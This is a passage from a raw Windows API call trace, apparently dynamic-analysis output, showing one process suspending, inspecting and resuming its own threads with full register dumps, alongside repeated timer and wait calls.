MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0179.685] ResumeThread (hThread=0x170) returned 0x1 [0179.685] CloseHandle (hObject=0x170) returned 1 [0179.685] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.685] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.689] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.689] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.692] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.692] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.740] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0xd3f558, ulCount=0x10, ulNumEntriesRemoved=0xd3f528, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0xd3f558, ulNumEntriesRemoved=0xd3f528) returned 0 [0179.740] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.741] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.779] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x16c) returned 1 [0179.779] SuspendThread (hThread=0x16c) returned 0x0 [0179.779] GetThreadContext (in: hThread=0x16c, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9988, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x262900a, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0179.790] ResumeThread (hThread=0x16c) returned 0x1 [0179.790] CloseHandle (hObject=0x16c) returned 1 [0179.790] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.790] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.824] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.824] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0179.866] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0179.866] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0180.050] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0180.050] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0180.067] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0180.067] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0180.068] WaitForMultipleObjects (nCount=0x2, lpHandles=0xd3fcb0*=0x174, bWaitAll=0, dwMilliseconds=0x2599) returned 0x0 [0180.377] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0180.377] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0180.377] WaitForMultipleObjects (nCount=0x2, lpHandles=0xd3fcb0*=0x174, bWaitAll=0, dwMilliseconds=0x2463) returned 0x0 [0180.410] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x184) returned 1 [0180.410] SuspendThread (hThread=0x184) returned 0x0 [0180.410] GetThreadContext (in: hThread=0x184, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9d98, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x24dc472, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0180.416] SetThreadContext (hThread=0x184, lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9d90, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0180.431] ResumeThread (hThread=0x184) returned 0x1 [0180.431] CloseHandle (hObject=0x184) returned 1 [0180.431] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0180.431] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0190.464] SetEvent (hEvent=0x114) returned 1 [0190.464] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0190.464] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0200.467] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0200.467] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0210.741] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0210.741] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0220.838] WaitForMultipleObjects (nCount=0x2, lpHandles=0xd3fcb0*=0x174, bWaitAll=0, dwMilliseconds=0x2299) returned 0x102 [0230.875] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0230.875] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0240.918] WaitForMultipleObjects (nCount=0x2, lpHandles=0xd3fcb0*=0x174, bWaitAll=0, dwMilliseconds=0x2252) returned 0x102 [0251.002] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0251.002] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0261.082] WaitForMultipleObjects (nCount=0x2, lpHandles=0xd3fcb0*=0x174, bWaitAll=0, dwMilliseconds=0x21a3) returned 0x102 [0271.250] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0271.250] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0281.256] WaitForMultipleObjects (nCount=0x2, lpHandles=0xd3fcb0*=0x174, bWaitAll=0, dwMilliseconds=0x6c1) returned 0x0 [0283.052] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0xd3f558, ulCount=0x10, ulNumEntriesRemoved=0xd3f528, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0xd3f558, 